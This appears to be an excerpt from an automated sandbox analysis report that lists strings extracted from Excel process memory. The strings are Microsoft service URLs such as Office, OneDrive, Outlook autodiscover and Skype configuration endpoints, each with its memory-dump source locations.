    Source: EXCEL.EXE, 00000000.00000003.499962557.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500495154.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423789564.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.424320434.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500708465.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.437942259.0000000013848000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://apis.live.net/v5.0/
    Source: EXCEL.EXE, 00000000.00000003.593569522.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537143977.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.553235770.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551627090.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.501014387.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500138037.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.421391234.00000000138F7000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678240560.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499315615.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.437208198.00000000138F7000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696200025.00000000138EF000.00000004.00000001.sdmpString found in binary or memory: https://apis.live.net/v5.0/ne
    Source: EXCEL.EXE, 00000000.00000003.678717765.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422085559.0000000013862000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551305647.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593757845.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500459255.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695906973.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422549739.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423733765.0000000013801000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536979101.00000000137F4000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://arc.msn.com/v4/api/selection
    Source: EXCEL.EXE, 00000000.00000003.437233845.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500157918.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.553288009.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.424360003.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500009258.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.421405813.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.552058000.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696221387.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593583876.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.552494065.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537158640.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537329045.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551704372.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678253988.0000000013906000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://asgsmsproxyapi.azurewebsites.net/
    Source: EXCEL.EXE, 00000000.00000003.500207188.0000000013865000.00000004.00000001.sdmpString found in binary or memory: https://augloop.of
    Source: EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://augloop.office.com
    Source: AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://augloop.office.com/v2
    Source: EXCEL.EXE, 00000000.00000003.593569522.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537143977.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.553235770.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551627090.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.501014387.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500138037.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.421391234.00000000138F7000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678240560.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499315615.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.437208198.00000000138F7000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696200025.00000000138EF000.00000004.00000001.sdmpString found in binary or memory: https://augloop.office.com/v2c
    Source: EXCEL.EXE, 00000000.00000003.499023954.00000000162F1000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500805327.00000000162F1000.00000004.00000001.sdmpString found in binary or memory: https://augloop.office.com;https://auglo
    Source: EXCEL.EXE, 00000000.00000003.422085559.0000000013862000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499446246.000000001367C000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695468754.000000001367C000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594096039.000000001367C000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://augloop.office.com;https://augloop-int.officeppe.com;https://augloop-dogfood.officeppe.com;h
    Source: EXCEL.EXE, 00000000.00000003.593569522.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537143977.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.553235770.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551627090.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.501014387.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500138037.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.421391234.00000000138F7000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678240560.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499315615.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.437208198.00000000138F7000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696200025.00000000138EF000.00000004.00000001.sdmpString found in binary or memory: https://augloop.office.coml
    Source: EXCEL.EXE, 00000000.00000003.500849842.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499076826.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277937886.0000000013779000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423421004.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678512366.000000001633C000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593838121.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594353981.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536518147.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.550811363.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696914644.000000001633C000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://autodiscover-s.outlook.com/
    Source: EXCEL.EXE, 00000000.00000003.500821599.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536478212.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678173550.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423217003.0000000016311000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593811472.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696894909.0000000016311000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.550766017.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499048411.0000000016311000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://autodiscover-s.outlook.com/autodiscover/autodiscover.xml
    Source: AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://cdn.entity.
    Source: EXCEL.EXE, 00000000.00000003.499962557.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500495154.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423789564.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.424320434.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500708465.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.437942259.0000000013848000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://cdn.odc.officeapps.live.com/odc/stat/images/OneDriveUpsell.png
    Source: EXCEL.EXE, 00000000.00000003.500821599.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536478212.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678173550.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423217003.0000000016311000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593811472.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696894909.0000000016311000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.550766017.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499048411.0000000016311000.00000004.00000001.sdmpString found in binary or memory: https://cdn.odc.officeapps.live.com/odc/stat/images/OneDriveUpsell.png3
    Source: EXCEL.EXE, 00000000.00000003.499962557.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500495154.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423789564.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.424320434.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500708465.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.437942259.0000000013848000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://cdn.odc.officeapps.live.com/odc/xml?resource=OneDriveSignUpUpsell
    Source: EXCEL.EXE, 00000000.00000003.422213664.0000000013881000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537234270.0000000013881000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551900570.0000000013881000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696077720.0000000013881000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.553063045.0000000013881000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593496729.0000000013881000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500232744.0000000013881000.00000004.00000001.sdmpString found in binary or memory: https://cdn.odc.officeapps.live.com/odc/xml?resource=OneDriveSignUpUpsellU
    Source: EXCEL.EXE, 00000000.00000003.499962557.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500495154.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423789564.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.424320434.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500708465.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.437942259.0000000013848000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://cdn.odc.officeapps.live.com/odc/xml?resource=OneDriveSyncClientUpsell
    Source: EXCEL.EXE, 00000000.00000003.422213664.0000000013881000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537234270.0000000013881000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551900570.0000000013881000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696077720.0000000013881000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.553063045.0000000013881000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593496729.0000000013881000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500232744.0000000013881000.00000004.00000001.sdmpString found in binary or memory: https://cdn.odc.officeapps.live.com/odc/xml?resource=OneDriveSyncClientUpsell8
    Source: EXCEL.EXE, 00000000.00000003.437233845.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500157918.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.553288009.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.424360003.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500009258.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.421405813.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.552058000.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696221387.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593583876.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.552494065.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537158640.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537329045.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551704372.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678253988.0000000013906000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://client-office365-tas.msedge.net/ab
    Source: AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://clients.config.office.net/
    Source: EXCEL.EXE, 00000000.00000003.536814047.0000000013775000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593264274.0000000013752000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678663664.0000000013770000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500314408.0000000013778000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423823044.0000000013778000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695641338.0000000013775000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551049884.0000000013775000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593624370.0000000013770000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422394630.0000000013775000.00000004.00000001.sdmpString found in binary or memory: https://clients.config.office.net/h
    Source: AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://clients.config.office.net/user/v1.0/android/policies
    Source: EXCEL.EXE, 00000000.00000003.500821599.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536478212.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678173550.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423637060.0000000016319000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423217003.0000000016311000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593811472.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696894909.0000000016311000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.550766017.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499048411.0000000016311000.00000004.00000001.sdmpString found in binary or memory: https://clients.config.office.net/user/v1.0/android/policies5
    Source: AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://clients.config.office.net/user/v1.0/ios
    Source: AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://clients.config.office.net/user/v1.0/mac
    Source: EXCEL.EXE, 00000000.00000003.500849842.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499076826.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423421004.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678512366.000000001633C000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593838121.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594353981.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536518147.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.550811363.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696914644.000000001633C000.00000004.00000001.sdmpString found in binary or memory: https://clients.config.office.net/user/v1.0/maca
    Source: AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://clients.config.office.net/user/v1.0/tenantassociationkey
    Source: EXCEL.EXE, 00000000.00000003.500821599.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536478212.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678173550.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423217003.0000000016311000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593811472.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696894909.0000000016311000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.550766017.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499048411.0000000016311000.00000004.00000001.sdmpString found in binary or memory: https://clients.config.office.net/user/v1.0/tenantassociationkeyF
    Source: EXCEL.EXE, 00000000.00000003.552313973.0000000013864000.00000004.00000001.sdmpString found in binary or memory: https://cloudfiles.onenote.com/upload.a=
    Source: EXCEL.EXE, 00000000.00000003.437233845.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500207188.0000000013865000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500157918.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.553288009.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.424360003.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500009258.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.421405813.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422085559.0000000013862000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.552058000.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696221387.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593583876.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.552494065.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537158640.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537329045.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551704372.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678253988.0000000013906000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://cloudfiles.onenote.com/upload.aspx
    Source: EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://config.edge.skype.com
    Source: EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://config.edge.skype.com/config/v1/Office
    Source: EXCEL.EXE, 00000000.00000003.437233845.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500157918.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.553288009.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.424360003.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500009258.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.421405813.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.552058000.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696221387.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593583876.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.552494065.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537158640.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537329045.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551704372.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678253988.0000000013906000.00000004.00000001.sdmpString found in binary or memory: https://config.edge.skype.com/config/v1/OfficeZ
    Source: EXCEL.EXE, 00000000.00000003.437233845.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500157918.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.553288009.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.424360003.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500009258.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.421405813.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.552058000.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696221387.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593583876.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.552494065.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537158640.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537329045.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551704372.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678253988.0000000013906000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://config.edge.skype.com/config/v2/Office
    Source: EXCEL.EXE, 00000000.00000003.593569522.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537143977.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.553235770.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551627090.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.501014387.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500138037.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.421391234.00000000138F7000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678240560.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499315615.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.437208198.00000000138F7000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696200025.00000000138EF000.00000004.00000001.sdmpString found in binary or memory: https://config.edge.skype.comj
    Source: AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://cortana.ai
    Source: AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://cortana.ai/api
    Source: EXCEL.EXE, 00000000.00000003.536713602.00000000136BD000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678600620.000000001367C000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.550909072.00000000136BD000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499446246.000000001367C000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695468754.000000001367C000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422673092.00000000136A6000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594096039.000000001367C000.00000004.00000001.sdmpString found in binary or memory: https://cortana.aietlc-
    Source: EXCEL.EXE, 00000000.00000003.499962557.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500495154.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423789564.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.424320434.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500708465.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.437942259.0000000013848000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://cr.office.com
    Source: EXCEL.EXE, 00000000.00000003.536713602.00000000136BD000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678600620.000000001367C000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.550909072.00000000136BD000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499446246.000000001367C000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695468754.000000001367C000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422673092.00000000136A6000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594096039.000000001367C000.00000004.00000001.sdmpString found in binary or memory: https://cr.office.comn.
    Source: AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://dataservice.o365filtering.com
    Source: EXCEL.EXE, 00000000.00000003.678717765.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551305647.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593757845.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500459255.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695906973.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422549739.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423733765.0000000013801000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536979101.00000000137F4000.00000004.00000001.sdmpString found in binary or memory: https://dataservice.o365filtering.com(
    Source: AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://dataservice.o365filtering.com/
